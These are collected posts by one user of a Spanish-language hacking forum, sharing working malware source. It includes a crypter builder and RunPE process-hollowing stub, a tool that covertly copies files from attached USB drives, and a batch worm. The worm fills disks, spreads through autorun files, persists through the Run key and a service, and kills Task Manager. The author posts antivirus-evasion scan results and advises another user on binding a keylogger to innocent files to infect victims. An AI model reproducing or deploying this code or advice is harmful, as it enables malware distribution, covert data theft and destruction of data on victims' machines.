//fgets ( path, MAX_PATH, stdin );
scanf ( "%s", &path );

printf ( "\n[Al presionar una tecla se cifrara el archivo %s]", path );
system ( "PAUSE>NUL" );

if ( PathFileExistsA ( path ) ) {

LPSTR Buffer = ( LPSTR ) GlobalAlloc ( (0x0000|0x0040), vGetFileSize ( path ) );
Buffer = GetFileBuffer ( path, &FileSize );

LPSTR CompressBufferThis = CompressBuffer ( Buffer, FileSize, &BufferCompress );
//CreateFileName ( nuevo, CompressBufferThis, BufferCompress );

LPSTR StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), vGetFileSize ( (LPSTR)"BULL.DLL" ) );
StubSize = vGetFileSize ( (LPSTR)"BULL.DLL" );

StubBuffer = GetFileBuffer ( (LPSTR)"BULL.DLL", &StubSize );

LPSTR NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), BufferCompress + StubSize + length_firma + 255 );
CopyMemory ( &NewBuffer [ 0 ], &StubBuffer [ 0 ], StubSize );
CopyMemory ( &NewBuffer [ StubSize ], &firma [ 0 ], length_firma );
CopyMemory ( &NewBuffer [ StubSize + length_firma ], &CompressBufferThis [ 0 ], BufferCompress );

CreateFileName ( ( LPSTR ) "BullGeneric.exe", NewBuffer, (StubSize + length_firma + BufferCompress) );

GlobalFree ( FileBuffer );
GlobalFree ( NewBuffer );
GlobalFree ( StubBuffer );

printf ( "\n\n\nSe ah generado el archivo cryptado con exito [%d] bytes totales", BufferCompress );

DWORD reserved;
char letter [ 2 ];
char icon [ MAX_PATH + 1 ];

system ( "cls" );
printf ( "Desea cambiar el icono ? s/n :>" );

scanf ( "%s", &letter );

if ( letter [ 0 ] == 's' || letter [ 0 ] == 'S' ) {
printf ( "\n\nIngrese el directorio del icono:>" );
scanf ( "%s", &icon );

if ( PathFileExistsA ( icon ) ) {
AddIcon ( icon, (LPSTR)"BullGeneric.exe" );
printf ( "\n\t\t\t[Exito al cambiar el icono]\n" );
} else {
printf ( "\n\t\t\t[Ah ocurrido un error al cambiar el icono]" );
}
}

printf ( "\n\n\n[Presione escape para salir]\n" );
while ( !GetAsyncKeyState ( 27 ) );

} else FatalAppExitA ( 0, "No se ah encontrado el archivo especificado" );

return 0;
}



CitarCodigo del stub

Código: cpp

#include <windows.h>

/*BULL GOLDEN - Simple Crypter privado*/

/*#define COMPRESSION_FORMAT_LZNT1 ( 0x0002 )
#define COMPRESSION_ENGINE_STANDARD ( 0x0000 )
#define COMPRESSION_ENGINE_MAXIMUM ( 0x0100 )*/

#define LIB ( LPSTR )  "ntdll.dll"
#define API ( LPSTR ) "NtUnmapViewOfSection"

typedef ULONG NTSTATUS;

typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize ) ( IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
OUT PULONG pUnknown );

typedef DWORD ( __stdcall *_RtlDecompressBuffer ) ( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PULONG pDestinationSize );

typedef LONG ( __stdcall *NtApi ) ( HANDLE ProcessHandle, PVOID BaseAddress );

typedef BOOL ( __stdcall *Conte ) ( IN HANDLE hThread, IN const CONTEXT *lpConte );
typedef DWORD ( __stdcall *Resum ) ( IN HANDLE hThread );
typedef BOOL ( __stdcall *Wri ) ( IN HANDLE hProcess, IN LPVOID lpBaseAdress, IN LPCVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesWritten );
typedef BOOL ( __stdcall *Rea ) ( IN HANDLE hProcess, IN LPCVOID lpBaseAddress, OUT LPVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesRead );

LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
void ExecFile ( LPSTR szFilePath, LPVOID pFile );

void ExecFile ( LPSTR szFilePath, LPVOID pFile )
{

PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
NtApi xNt;
LPVOID pImageBase;
int Count;

Conte Contee = ( Conte ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "SetThreadContext" );
Wri Writ = ( Wri ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "WriteProcessMemory" );
Rea Reaa = ( Rea ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ReadProcessMemory" );
Resum Resu = ( Resum ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ResumeThread" );

IDH = PIMAGE_DOS_HEADER ( pFile );

if ( IDH -> e_magic == IMAGE_DOS_SIGNATURE )
{

INH = PIMAGE_NT_HEADERS ( DWORD ( pFile ) + IDH->e_lfanew );

if ( INH -> Signature == IMAGE_NT_SIGNATURE )
{
RtlZeroMemory ( &SI, sizeof ( SI ) );
RtlZeroMemory ( &PI, sizeof ( PI ) );

if ( CreateProcessA ( szFilePath, 0L, 0L, 0L, FALSE, CREATE_SUSPENDED, 0L, 0L, &SI, &PI ) )
{

CTX = PCONTEXT ( VirtualAlloc ( 0L, sizeof ( CTX ), MEM_COMMIT, PAGE_READWRITE ) );
CTX -> ContextFlags = CONTEXT_FULL;

if ( GetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) ) )
{

ReadProcessMemory ( PI.hProcess, LPCVOID ( CTX->Ebx + 8 ), LPVOID ( &dwImageBase ), 4, 0L );

if ( DWORD( dwImageBase ) == INH->OptionalHeader.ImageBase )
{

xNt = NtApi ( GetProcAddress ( GetModuleHandleA ( LIB ), API ) );
xNt ( PI.hProcess, PVOID ( dwImageBase ) );
}

pImageBase = VirtualAllocEx ( PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

if ( pImageBase )
{

Writ ( PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, 0L );

for ( Count = 0; Count < INH->FileHeader.NumberOfSections; Count++ )
{

ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
Writ (PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID ( DWORD ( pFile ) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}

Writ ( PI.hProcess, LPVOID ( CTX->Ebx + 8 ), LPVOID ( &INH->OptionalHeader.ImageBase ), 4, 0L );
CTX->Eax = DWORD ( pImageBase ) + INH->OptionalHeader.AddressOfEntryPoint;
Contee ( PI.hThread, LPCONTEXT ( CTX ) );
Resu ( PI.hThread);

}
}
}
}

}

GlobalFree ( pFile );
}

LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut )
{

_RtlDecompressBuffer RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( LIB ), "RtlDecompressBuffer" );
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA ( LIB ), "RtlGetCompressionWorkSpaceSize" );

DWORD dwRet;
DWORD dwSize;
 
DWORD dstSize = 16 * szBuffer;
LPSTR szRet = (LPSTR) malloc ( dstSize );

RtlGetCompressionWorkSpaceSize ( COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet );
RtlDecompressBuffer ( COMPRESSION_FORMAT_LZNT1, szRet, dstSize, lpBuffer, szBuffer, dwSizeOut );

return szRet;
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

STARTUPINFO stinfo;
PROCESS_INFORMATION processinformation;
HANDLE File;
DWORD dwBytes, StubSize, bytes;
LPSTR StubBuffer, Directory, AppName;

ZeroMemory ( &stinfo, sizeof ( STARTUPINFO ) );
stinfo.cb = sizeof ( STARTUPINFO );

size_t length_firma = ( size_t ) 6;

AppName = ( LPSTR ) VirtualAlloc ( 0L, ( MAX_PATH + 1 ), ( MEM_COMMIT | MEM_RESERVE ), PAGE_READWRITE );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );

if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) )
{
CloseHandle ( File );
VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );
return -1;
}

StubSize = GetFileSize ( File, 0 );

StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( StubSize + 1 ) );
ReadFile ( File, StubBuffer, StubSize, &dwBytes, 0 );
CloseHandle ( File );

for ( bytes = 0; bytes <= StubSize; bytes ++ )
{
if ( StubBuffer [ bytes ] == '*' && StubBuffer [ bytes + 1 ] == 'b' && StubBuffer [ bytes + 2 ] == 'u' && StubBuffer [ bytes + 3 ] == 'l' &&
    StubBuffer [ bytes + 4 ] == 'l' && StubBuffer [ bytes + 5 ] == '*' ) {
                                   
StubBuffer += ( bytes + 6 );
StubSize -= ( bytes + 6 );
}
}

DWORD OutDecompressSize;
StubBuffer = DecompressBuffer ( StubBuffer, StubSize, &OutDecompressSize );

ExecFile ( LPSTR ( AppName ), StubBuffer );

GlobalFree ( StubBuffer );
VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );

return EXIT_SUCCESS;
}



ANALISIS 9/56

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Trojan.Heur.RP.ED92C7
Avast      20150805    Clean
Avira      20150805    TR/Crypt.XPACK.Gen
Baidu-International      20150805    Clean
BitDefender      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
F-Prot      20150805    Clean
F-Secure      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Fortinet      20150804    Clean
GData      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean



Link de descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PASS : xxneeco83xx
#8
Hola, se ve bueno, por lo cual lo descargue.
ESET 8 ya me detecto el pv que seria el cliente por lo que no seria de importancia ya que no es el stub.
Revise el stub porque me dan curiosidad, (obviamente no lo subi a ningun sitio web de internet) para no quemar tu trabajo
pero tengo algunas dudas que quisiera aclarar,
El stub tiene alguna que otra función a parte de desencriptar el archivo ?
Porque son dos archivos en el stub, de los cuales uno utiliza APIS para el manejo de archivos VIA FTP
OpenConnection, DeleteFTPFile, FTPPutFileA, FTPGetFileA, InternetOpen, etc.
Vi que tiene como referencia llamarse FTP, datos tales como "ASCII File Transfer" entre otros.
Así como la creación del archivo WiNdOwS\sYsTeM32\uSeR32.dLl
Eso es debido a que ?
#9
Dudas y pedidos generales / Re:Kali linux 2.0
Septiembre 06, 2015, 03:00:28 PM
cuanta ram tienes en tu PC no virtual ?
A la de kali linux le asignaste 1 GB ?
#10
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero se puede aplicar a algún archivo o algo para no tener necesariamente el acceso al computador a espiar?

te refieres a la forma de infectar a una persona ?
si no sabes quien sera tu victima, o te interesa tener varias de ellas.
Puedes utilizar diferentes metodos para propagarlo, el USB, P2P, en caso de que tengas fijo a quien enviar, si no tienes acceso al ordenador, puedes hacer abrirle un link con el archivo para que se lo descargue o demás.

Claro, si quiero infectar a un grupo de gente pequeño que tienen gustos similares y esas enviandole el archivo infectado, pero resulta que obviamente no se le puede enviar el keylogger, que lo abran y que para ellos no pase nada, sino que se les envie un archivo, una imagen, un block de notas, lo que sea y dentro de ese archivo aparte de lo que sea se infecten con el key. Esa es mi duda.

puedes usar un joiner (binder) adjuntar el keylogger junto con un block de notas, imagen, lo que quieras.
de esa forma seria menos sospechoso.
#11
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero se puede aplicar a algún archivo o algo para no tener necesariamente el acceso al computador a espiar?

te refieres a la forma de infectar a una persona ?
si no sabes quien sera tu victima, o te interesa tener varias de ellas.
Puedes utilizar diferentes metodos para propagarlo, el USB, P2P, en caso de que tengas fijo a quien enviar, si no tienes acceso al ordenador, puedes hacer abrirle un link con el archivo para que se lo descargue o demás.
#12



Hola, en esta ocasión desarrolle un software que sirve para extraer de forma oculta todos los archivos de un USB, es decir, si vamos a algún lado y en nuestro pendrive llevamos este archivo lo que haremos es ejecutarlo y el resto de los pendrives conectado en el ordenador sus archivos se copiaran de forma oculta dentro de una nueva carpeta llamada USBDumper en donde lleves el archivo.
También funciona si alguien coloca un pendrive en tu ordenador, este copiara los archivos en una carpeta USBDumper donde este el archivo.
Dejo el código y su análisis FUD.




CitarCodigo del Ejecutable! [C/C++]
Código: cpp

#include <windows.h>
#include <shlwapi.h>

bool __stdcall ListDirectory ( IN LPSTR lpszDirectory );
bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes );

bool __stdcall ListDirectory ( IN LPSTR lpszDirectory )
{

WIN32_FIND_DATA find;
HANDLE Search;

char NewDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH ];
lstrcpyA ( NewDirectory, lpszDirectory );
lstrcatA ( NewDirectory, "*" );

Search = FindFirstFileA ( NewDirectory, &find );
if ( Search == 0L || Search == INVALID_HANDLE_VALUE )
{

FindClose ( Search );

return false;
}

while ( FindNextFileA ( Search, & find ) )
{

char CopyDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH + lstrlenA ( find.cFileName ) ];
lstrcpyA ( CopyDirectory, lpszDirectory );

lstrcatA ( CopyDirectory, find.cFileName );

if ( lstrcmpA ( find.cFileName, ".") != 0 && lstrcmpA ( find.cFileName, ".." ) != 0 && find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
lstrcatA ( CopyDirectory, "\\" );

ListDirectory ( CopyDirectory );
}

CopyFiles ( CopyDirectory, find.dwFileAttributes );

}

FindClose ( Search );

return true;
}

bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes )
{

LPSTR Name, PathComplete, Temp, Teme;
unsigned long len = 0, i = 0;
bool dirent = false;

if ( ! PathFileExistsA ( "USBDump" ) )
{
CreateDirectoryA ( "USBDump", 0L );
}
else
{
if ( GetFileAttributesA ( "USBDump" ) != FILE_ATTRIBUTE_DIRECTORY )
{
CreateDirectoryA ( "USBDump", 0L );
}
}

Name = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
Teme = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );

if ( Attributes == FILE_ATTRIBUTE_DIRECTORY )
{

for ( i = lstrlenA ( lpszDirectory ); i > 0; i -- )
{
if ( lpszDirectory [ i ] == '.' && lpszDirectory [ i + 1 ] == '.' )
{
CopyMemory ( & Teme [ 0 ], & lpszDirectory [ 0 ], ( lstrlenA ( lpszDirectory ) - 3 ) );
dirent = true;
break;
}
}
}

if ( dirent )
{
for ( i = lstrlenA ( Teme ); i > 0; i -- )
{
if ( Teme [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & Teme [ i + 1 ], lstrlenA ( Teme ) - ( i - 1 ) );
GlobalFree ( Teme );

dirent = false;
break;
}
}

Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & Temp [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
CopyMemory ( & Temp [ lstrlenA ( Temp ) ], & Name [ 0 ], lstrlenA ( Name ) );

CreateDirectoryA ( Temp, 0L );

GlobalFree ( Temp );
GlobalFree ( Teme );
GlobalFree ( Name );
GlobalFree ( PathComplete );

return true;
}
else
{
for ( i = 0; i < lstrlenA ( lpszDirectory ); i ++ )
{
if ( lpszDirectory [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & lpszDirectory [ i + 1 ], lstrlenA ( lpszDirectory ) - ( i ) );
dirent = false;
break;
}
}
}

if ( Attributes != FILE_ATTRIBUTE_DIRECTORY )
{
if ( ( Attributes == FILE_ATTRIBUTE_HIDDEN ) || ( Attributes == FILE_ATTRIBUTE_READONLY ) ||
( Attributes == FILE_ATTRIBUTE_SYSTEM ) )
{

SetFileAttributesA ( lpszDirectory, FILE_ATTRIBUTE_NORMAL );
}
}

PathComplete = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & PathComplete [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );

//Name [ lstrlenA ( Name ) ] == '\\' ? len = lstrlenA ( Name ) - 1 : len = lstrlenA ( Name );
CopyMemory ( & PathComplete [ lstrlenA ( PathComplete ) ], & Name [ 0 ], lstrlenA ( Name ) );

CopyFileA ( lpszDirectory, PathComplete, false );

GlobalFree ( Name );
GlobalFree ( PathComplete );
GlobalFree ( Teme );

return true;
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

LPSTR Drivers = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), 513 );
GetLogicalDriveStringsA ( 512, Drivers );

LPSTR Drive = Drivers;

while ( *Drive )
{
if ( GetDriveTypeA ( Drive ) == DRIVE_REMOVABLE )
{
ListDirectory ( Drive );
}

Drive += lstrlenA ( Drive ) + 1;
}

GlobalFree ( Drivers );

return EXIT_SUCCESS;
}



ANALISIS FUD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean



Link de descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

SIN-PASS
#13
Off Topic / Re:Guerra de cosas! ¿Qué elegís?
Agosto 29, 2015, 12:37:41 AM
Interpretado  ;D

Malware o Seguridad ?  ::)
#14
Windows / Re:Activar el Modo Dios en Windows 10
Agosto 27, 2015, 01:28:30 PM
Gracias gabi, muy bueno  ;D
#15
se ve bien! vamos a echarle un ojo al code.
gracias!  ;D
#16
muy bueno!!  ;D
vamos a probarlo.
#17
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Yo podría ayudar en el tema gráfico.
Respecto a las licencias, aunque imagino que no querréis que vuestro trabajo quede "quemado" muy prematuramente desde mi punto de vista creo que sería mejor lanzarlo hacia todo el público ¿no?

Reitero, es solo una opinión!

Un saludo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Yo podría ayudar tanto en el cliente como en el servidor, nos pondremos en contacto pues me parece una idea quizás un tanto repetitiva pero interesante.
Un saludo!

Buenisimo a ambos!
Espero hablar con ustedes, pueden agregarme a skype para hablar mas cómodamente.
Y con respecto a la licencia eso luego lo veremos, es lo de menos. :D
#18
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muchas gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Te refieres a que en lugar de descargarlo lo genere el otro? Si es eso, si es una buena idea, voy a ver...

claro, que un solo batch valla generando el resto.
y a medida que cada batch secundario termine de ejecutarse se elimine.
así evitarías problemas.
#19
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Se ve bien el proyecto yo desarrollo en c++

Buenisimo, si estas interesado por favor contactame a mi o a black.
En el post estan los datos.
Para hablar mejor.

Saludos!  ;D
#20
Batch - Bash / Worm [Llena HD][Batch]
Agosto 15, 2015, 11:41:32 PM

Hola revisando la carpeta de codigos viejos, encontre esto que quizas a alguien le pueda servir, llena el HD con archivos basuras, y se propaga por USB, se agrega al registro y crea un servicio de inicio.


Código: dos

@echo off
@color fc|color f0 && set /a maxvueltas=500::esto se multiplica por dos::
@mode con cols=10 lines=10
set hola=%~0
set /a count=1
set /a llenarhd=-1

set a=a
set t=t
set o=o
set r=r
set u=u
set n=n
set name=%a%%u%%t%o%r%un.i%n%f

if not exist %windir%\system32\update.%hola:~-3% (copy /y %0 %windir%\system32\update.%hola:~-3% && attrib +r +a +s +h %windir%\system32\update.%hola:~-3%) else (attrib +r +a +s +h %windir%\system32\update.%hola:~-3%)
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /d REG_SZ /t %windir%\system32\update.%hola:~-3% /f
sc create Update start=auto error=critical type=share binpath=%windir%\system32\update.%hola:~-3%

:a
rundll32 user32.dll,SetCursorPos %random:~-2%,%random:~2,0%
@tasklist /m | find /i "taskmgr.exe">nul
if errorlevel 1 (taskkill /f /im taskmgr.exe)>nul

for /d %%x in (%a%,B,C,D,E,F,G,H,I,J,K,L,M,%n%,%o%,P,Q,%r%,S,%t%,V,%u%,W,X,Y,Z) do (
if exist %%x: (
if not exist %%x:\%name:~0,5%.%hola:~-3% (copy /y %0 %%x:\%a%%u%%t%%o%%r%%u%%n%.%hola:~-3% && attrib +r +a +s +h %%x:\%name:~0,5%.%hola:~-3%) else (
attrib +r +a +s +h %%x:\%name:~0,5%.%hola:~-3%
if not exist %%x:\%name% (
echo [%a%%u%%t%%o%%r%%u%%n%] > %%x:\%name% | echo ShellExecu%t%e=%name:~0,5%.%hola:~-3% >> %%x:\%name%
for /l %%d in (1,10,1000) do (echo ;%random%%random%%random%%random%%random% >> %%x:\%name%)
echo %o%pe%n%=%name:~0,5%.%hola:~-3% >> %%x:\%name%|attrib +r +a +s +h %%x:\%name%)
) else (attrib +r +a +s +h %%x:\%name%)
)
)

set /a maxvueltas=%llenarhd%::

if %count%==%maxvueltas% (call:exit) else (set /a count=%count% + 1)
copy /y %0 %windir%\system32\drivers\etc\%random%%random%.%hola:~-3%>nul && md %windir%\system32\drivers\etc\%random%%random%%random%%random%>nul
goto:a

:exit
del /q /f %0
exit



Saludos!  ;D